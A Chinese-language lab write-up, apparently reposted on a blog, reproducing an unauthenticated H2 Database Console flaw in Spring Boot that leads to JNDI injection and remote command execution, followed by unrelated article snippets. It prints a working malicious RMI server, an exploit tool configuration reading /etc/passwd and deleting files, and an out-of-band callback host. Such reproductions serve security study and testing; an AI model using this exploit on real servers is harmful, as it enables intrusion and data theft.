新后端漏洞(上)- H2 Database Console 未授權訪問

漏洞介紹:

H2 database是一款Java內存數據庫,多用于單元測試。

H2 database自帶一個Web管理頁面,在Spirng開發中,如果我們設置如下選項,即可允許外部用戶訪問Web管理頁面,且沒有鑒權:

spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true

利用這個管理頁面,我們可以進行JNDI注入攻擊,進而在目標環境下執行任意命令。

參考鏈接:

https://mp.weixin.qq.com/s?__biz=MzI2NTM1MjQ3OA==&mid=2247483658&idx=1&sn=584710da0fbe56c1246755147bcec48e

漏洞環境:

docker 環境

執行如下命令啟動一個Springboot + h2database環境:

docker-compose up -d

啟動后,訪問http://127.0.0.1:8082/h2-console/即可查看到H2 database的管理頁面

1、漏洞復現

目標環境是Java 8u252,版本較高,因為上下文是Tomcat環境,我們可以參考

《Exploiting JNDI Injections in Java》,使用org.apache.naming.factory.BeanFactory加EL表達式注入的方式來執行任意命令。

import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;public class EvilRMIServerNew {public static void main(String[] args) throws Exception {System.out.println("Creating evil RMI registry on port 1097");Registry registry = LocateRegistry.createRegistry(1097);//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactoryResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);//redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance coderef.add(new StringRefAddr("forceString", "x=eval"));//expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windowsref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()\")"));ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);registry.bind("Object", referenceWrapper);}
}
2、可以借助這個小工具JNDI簡化我們的復現過程。首先設置JNDI工具中執行的命令為

touch /tmp/success

# [ 服務監聽地址 ]
rmi.port=23456
ldap.port=23457
jettyPort.port=22222
# [ 命令執行 ]
command=open -a Calculator.app
# [ 文件寫入 ]
write.file.path=/Users/phoebe/Downloads/3.txt
write.file.content=write test
# [ 文件讀取 ]
read.file.path=/etc/passwd
# [ SSRF ]
ssrf.url=http://127.0.0.1:8082/
# [ 目錄遍歷 ]
list.dir=/Users/phoebe/PycharmProjects
# [ 文件刪除路徑 ]
delete.file.path=/Users/phoebe/Downloads/3.txt
# [ 執行數據庫查詢 ]
jdbc.driver=com.mysql.jdbc.Driver
jdbc.url=jdbc:mysql://localhost:3306/database
jdbc.username=root
jdbc.password=root
jdbc.query=select version();
# [ 回顯方式 ][ Exception|OOB|Tomcat|WebLogic ]
echo=Tomcat
# [ OOB CEYE.io 配置]
identifier=7qx0jt.ceye.io

3、然后啟動JNDI-1.0-all.jar,在h2 console頁面填入JNDI類名和URL地址:

其中,javax.naming.InitialContext是JNDI的工廠類,URL:rmi://127.0.0.1:23456/BypassByEL,是運行JNDI工具監聽的RMI地址。

點擊連接后,惡意RMI成功接收到請求:

touch /tmp/success已成功執行:

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/95749.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/95749.shtml
英文地址,請注明出處:http://en.pswp.cn/web/95749.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

2025-09-04 HTML3——區塊布局與表單

文章目錄1 塊元素與行內元素1.1 塊元素 (Block-level Element)1.2 行內元素 (Inline Element)2 HTML 布局2.1 使用 <div> 元素2.2 使用 <table> 元素3 表單 (<form>)3.1 輸入域&#xff08;<input>&#xff09;3.1.1 文本域&#xff08;Text Fields&am…

云數據庫服務(參考自騰訊云計算工程師認證課程)更新中......

數據庫基礎介紹面臨的挑戰&#xff1a;數據庫系統架構&#xff1a; 數據庫DB、數據庫管理系統DBMS&#xff08;負責數據庫的搭建、使用和維護的系統軟件&#xff0c;通過組織、索引、查詢、修改數據庫文件、實現數據定義、組織、存儲、管理以及數據庫操作、運行和維護等主要功能…

源滾滾AI編程SillyTavern酒館配置Claude Code API教程

什么是酒館 SillyTavern&#xff08;簡稱 ST&#xff09;是一款本地安裝的用戶界面&#xff0c;讓你能夠與文本生成大模型&#xff08;LLM&#xff09;、圖像生成引擎以及語音合成&#xff08;TTS&#xff09;模型進行交互。我們的目標是盡可能賦予用戶對 LLM 提示詞的最大掌控…

軟件設計師——軟件工程學習筆記

軟件工程 一、軟件工程基礎知識 1. 軟件的生存周期&#xff08;1&#xff09;可行性分析與項目開發計劃。這個階段主要確定軟件的開發目標及其可行性。參與該階段的人員有用戶、項目負責人、系統分析師。產生的文檔有 可行性分析報告、項目開發計劃。 &#xff08;2&#xff09…

阿里云ecs 2h2g 實際可用內存不足的情況

Kdump是Linux系統的一種內核崩潰轉儲機制&#xff0c;它允許在系統發生內核崩潰&#xff08;例如內核panic&#xff09;時&#xff0c;捕獲內存的轉儲信息&#xff0c;從而幫助事后分析故障原因。該過程需要一塊預留內存&#xff08;稱為crashkernel內存&#xff09;&#xff0…

MySQL拋出的Public Key Retrieval is not allowed

有時候在連接實例的時候會遇到這樣的報錯Public Key Retrieval is not allowed問題分析這是因為賬號使用了sha256_password或者caching_sha2_password 密碼插件而sha256_password或者caching_sha2_password 插件為了加快認證過程&#xff0c;在服務端維護了一個密碼哈希緩存。當…

ICP可能有用的

可以訓練GICP WGICP: Differentiable Weighted GICP-Based Lidar Odometry | GAMMA CT ICP (99 封私信 / 80 條消息) KITTI里程計排行榜上第五&#xff01;CT-ICP&#xff1a;實時彈性激光雷達里程計與回環檢測 - 知乎 Faster GICP github.com

nextcyber——Shells和Payloads

Shells和Payloads Shell的基礎知識 正向Shells Tom可以在一個Linux目標上發出nc -lvnp 443的命令。他需要從他的攻擊機連接到哪個端口&#xff0c;才能成功建立一個shell會話&#xff1f; 443SSH到目標&#xff0c;創建一個bind shell&#xff0c;然后用netcat連接到目標&a…

筆記:現代操作系統:原理與實現(2)

第三章 操作系統結構 操作系統的機制與策略 操作系統乃至計算機系統中控制復雜度的—個重要設計原則是:將策略與機制相分離&#xff0c;其中策略&#xff08;policy&#xff09;表示要‘‘做什么”&#xff0c;機制&#xff08;mechanjsm&#xff09;表示該“如何做”。 操作系…

c++ 壓縮與解壓縮

1、使用zip開源庫&#xff0c;引入比較簡單&#xff0c;只需要包含四個頭文件&#xff0c;不需要編譯成庫文件&#xff1a;zip.h、zip.cpp、unzip.h、unzip.cpp。2、壓縮使用到的主要函數&#xff1a;CreateZip 創建zip文件ZipAdd 添加文件ZipAddFolder 添加文件夾CloseZip 關閉…

水下無線光通信(UWOC)TDD系統:光收發端編解碼與信號處理分析與方案(數字版)

在光收發模塊中添加編解碼與信號處理模塊,核心目標是提升水下信道抗干擾能力(對抗后向散射、環境光、信號衰減)、降低誤碼率,同時兼容原有TDD時隙控制邏輯。以下從“編碼方案選型”“光發送端信號處理”“光接收端信號處理”“與原有系統集成”四部分展開,形成完整技術閉環…

Seat 事務@GlobalTransactional傳播行為

一&#xff0c;分布式事務傳播行為調用鏈描述一個普通事務注解的方法&#xff0c;調用一個分布式事務注解方法分布式事務注解方法&#xff1a;包含一個本地更新&#xff0c;和兩個外部服務更新操作&#xff0c;涉及三個服務問題1&#xff0c;普通事務注解方法&#xff0c;在全局…

美團龍貓利用expat庫實現的保存xml指定范圍數據到csv的C程序

用自己代碼逐個字符解析的速度較慢&#xff0c;嘗試了libxml2也比較慢&#xff0c;它需要一次性讀入內存&#xff0c;而expat庫支持流式讀取。就讓龍貓寫了一個程序&#xff0c;畢竟是久經考驗的庫&#xff0c;程序很快就調試通過了。要不是我一開始沒信心&#xff0c;讓他先輸…

Transformer核心—自注意力機制

Transformer基礎—自注意力機制 當我們處理文本、語音這類序列數據時&#xff0c;總會遇到一個老問題&#xff1a;模型到底該怎么理解“前后文”呢&#xff1f; RNN 和 LSTM 曾經是熱門的答案&#xff0c;它們沿著時間順序一點點地讀數據&#xff0c;但讀得太慢&#xff0c;還容…

分片上傳-

分片上傳原理&#xff1a;客戶端將選擇的文件進行切分&#xff0c;每一個分片都單獨發送請求到服務端&#xff1b;斷點續傳 & 秒傳原理&#xff1a;客戶端 發送請求詢問服務端某文件的上傳狀態 &#xff0c;服務端響應該文件已上傳分片&#xff0c;客戶端再將未上傳分片上傳…

零知開源——基于STM32F103RBT6的智能風扇控制系統設計與實現

?零知IDE 是一個真正屬于國人自己的開源軟件平臺&#xff0c;在開發效率上超越了Arduino平臺并且更加容易上手&#xff0c;大大降低了開發難度。零知開源在軟件方面提供了完整的學習教程和豐富示例代碼&#xff0c;讓不懂程序的工程師也能非常輕而易舉的搭建電路來創作產品&am…

ReACT Agent概述

目錄 1. 核心思想&#xff1a;解決傳統方法的局限性 2. ReACT 的工作原理&#xff1a;一個循環過程 3. 技術實現的關鍵要素 4. ReACTAgent 在任務中的具體工作流程 5. 優勢與重要性 6. 挑戰與局限性 總結 ReACT 是一個非常重要的框架&#xff0c;它代表了構建能夠推理&a…

必知!機器人的分類與應用:RPA、人形與工業機器人

每當提及“機器人”這三個字&#xff0c;許多人的第一反應或許仍是科幻電影中那種具備人類外形、可自由行走與對話的仿生裝置。然而&#xff0c;一個值得深入探討的科技現實是&#xff1a;我們對于人形機器人的迷戀&#xff0c;更多源自文化敘事與情感投射&#xff0c;而非真實…

最快的 C 語言 JSON 庫 - yyjson

文章目錄DOM 模式下的性能比對一、AWS EC2 (AMD EPYC 7R32, gcc 9.3)二、iPhone (Apple A14, clang 12)持續更新中 持續更新中 持續更新中一個用 ANSI C(C89) 編寫的高性能 JSON 庫 API.md DOM 模式下的性能比對 DOM 模式&#xff0c;即構建完整 JSON 內存結構后訪問數據的模…

TP8 模型save更新不成功

一、User文件頭部代碼class User extends Model {const TITLE_NAME 用戶;//名稱//不能刪除protected $name user_; //表名 protected $connection \app\services\database\model\DbConnModel::CONN_DB_SITE; //數據庫的連接二、更新部分我要更新user_1用戶表中的用戶信息$se…